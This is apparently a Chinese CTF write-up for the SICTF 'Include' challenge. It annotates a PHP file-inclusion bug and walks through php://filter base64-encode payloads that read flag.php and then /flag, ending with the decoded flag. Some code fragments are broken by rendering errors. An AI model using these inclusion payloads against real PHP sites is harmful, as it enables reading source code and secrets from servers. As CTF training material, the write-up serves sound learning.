0×01 分析题目
#题目名称: [签到]Include #题目简介: flag位于flag.php,是一个非常简单的文件包含捏~ #题目环境: http://210.44.151.51:10035/ #函数理解: substr() 函数返回字符串的一部分 如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。 语法 substr(string,start,length) 参数string,必需,规定要返回其中一部分的字符串 参数start,必需,规定在字符串的何处开始 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始 0 - 在字符串中的第一个字符处开始,(n-1) #环境代码: <?php #PHP开始代码,头代码 error_reporting(0); #屏蔽报错信息 if (isset(KaTeX parse error: Expected '}', got '#' at position 60: … #̲_GET函数获取SICTF变量的数据,isset函数用来检测SICTF变量是否存在并且是否非空(NULL),if循环判断语句条件满足继续向下执行 if ( substr(KaTeX parse error: Expected '}', got '#' at position 42: …php" ) { #̲substr函数返回SICTF…_GET[“SICTF”]); #include函数包含并执行文件,执行SICTF变量值里面的文件,并且返回结果 }
代码语言:javascript复制 else { #反之
echo "你干嘛~~~"; #输出 你干嘛~~~
}
}else { #反之
highlight_file(__FILE__); #highlight_file() 函数对文件进行语法高亮显示,继续呈现页面代码
} #结束
#初次尝试: 1.payload: URL/?SICTF=1; 回显结果: 你干嘛~~~ 2.payload: URL/?SICTF=php; 回显结果: 你好厉害呀~~~ 条件达成但是并没有回显flag
考虑到题目名称和题目简介以及环境代码中的include文件包含函数 猜测需要用到php://filter伪协议来绕过文件包含
0×02 开始解题
#进行PHP伪协议伪造
伪造之前先了解,PHP伪协议构造的规则 php://filter/过滤器|过滤器/resource=待过滤的数据流 web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode 构造后: php://filter/convert.base64-encode/resource=flag.php 完整payload:
代码语言:javascript复制1. URL/?SICTF=php://filter/convert.base64-encode/resource=flag.php
2. URL/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php
拆分解析: ?是起始符可以理解为连接拼接的意思 URL是环境链接 SICTF是题目中给的变量 =是赋值的意思 php://filter是伪协议 convert转换,base64,encode编码 resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式 上传payload 回显结果: 你好厉害呀~~~PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg== 显而易见这是base64编码 送去base64解码,结果: <?php #PHP开始,头代码 KaTeX parse error: Expected 'EOF', got '#' at position 54: … #̲file_path文件路径,/根目录下的flag if (file_exists($file_path)) { #file_exists检查根目录下的flag文件或目录是否存在,if循环判断语句,条件满足继续向下执行
file_path); #file_get_contents() 函数把根目录下的flag整个文件读入一个
flag定义的flag变量 } else{ #反之 echo “error”; #输出 error } #结束 通过分析以上代码可知,此flag文件可能是文本文件,并且在/根目录下 所以说resource待过滤的数据流不是flag.php而是/flag 重新构造payload: URL/?SICTF=php://filter/convert.base64-encode/resource=/flag 上传payload后数据流/flag传入
file_path参数变量/flag根目录下的flag文件存在,继续向下执行 file_get_contents() 函数把根目录下的flag整个文件读入一个
flag字符串参数的值
再一次拿到base64编码: 你好厉害呀~~~U0lDVEZ7ZjZiYzQ1NTQtMDU5Mi00ODdkLTk5ZDQtNTAzZTQ0YWM0ODIyfQo= 送去base64解码 #拿到flag SICTF{f6bc4554-0592-487d-99d4-503e44ac4822}